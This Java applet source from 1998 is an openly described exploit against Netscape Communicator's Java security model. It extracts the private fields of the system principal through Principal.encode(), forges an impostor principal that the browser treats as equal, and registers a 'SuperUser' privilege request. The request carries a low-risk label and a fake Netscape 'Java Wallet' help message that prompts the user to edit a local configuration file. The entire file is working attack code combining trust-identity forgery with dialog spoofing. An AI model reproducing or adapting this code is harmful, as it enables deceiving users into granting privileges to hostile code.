/* Helper.java by Mark D. LaDue */ /* May 1, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This applet retrieves some important private fields from theSystemPrincipal by taking advantage of the Principal.encode() method. It then uses that information to construct an impostor, a Principal which is distinct from theSystemPrincipal and yet which is declared to be equal by the Principal.equals() method. Helper.java then uses this impostor to display misleading information that appears to come from the Communicator itself. */ import netscape.applet.*; import netscape.security.*; import netscape.util.*; public class Helper extends java.applet.Applet implements Runnable { Thread controller = null; PrivilegeManager privy = null; Principal princeps = null; Principal impostor = null; GetPrincipalInfo sys = new GetPrincipalInfo(); GetPrincipalInfo imp = new GetPrincipalInfo(); UserTarget usertar = null; Privilege usertarpriv = null; String itsDescriptionStr = new String("Setting and Testing Your Help Environment for the Java Wallet"); String itsDetailDescriptionStr = new String( "Netscape's Helper applet has determined that your Java Wallet " + "Help Environment may not be configured properly. Please take " + "a moment of your time to check it. To do so, open the \".jcc\" " + "folder located in your home directory (UNIX) or your preferences " + "folder (Windows NT) and inspect the file \"jecf.properties.\" " + "This should contain an entry of the form:\n\n " + "jecf.browser.path=\"path to your browser executable\" " + "If there is no such entry, you should create one. If there is " + "such an entry, you should verify that it is correct. If there is " + "no such file, you should create one along with the appropriate " + "entry. Without this information your Java Wallet's excellent " + "help system will not function properly."); String itsURLStr = new String("http://home.netscape.com"); public void init() { } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { // Get theSystemPrincipal privy = PrivilegeManager.getPrivilegeManager(); princeps = privy.getSystemPrincipal(); // Get its private fields try { princeps.encode(sys); } catch (CodingException ce) {} // Create the impostor byte[] byter = sys.itsBinaryRep; impostor = new Principal(14, byter); // Give the effort Netscape's Blessing usertar = new UserTarget("SuperUser", impostor, 0, UserDialogHelper.targetRiskColorLow(), itsDescriptionStr, itsDetailDescriptionStr, itsURLStr); usertar.registerTarget(); usertarpriv = usertar.enablePrivilege(impostor, this); } }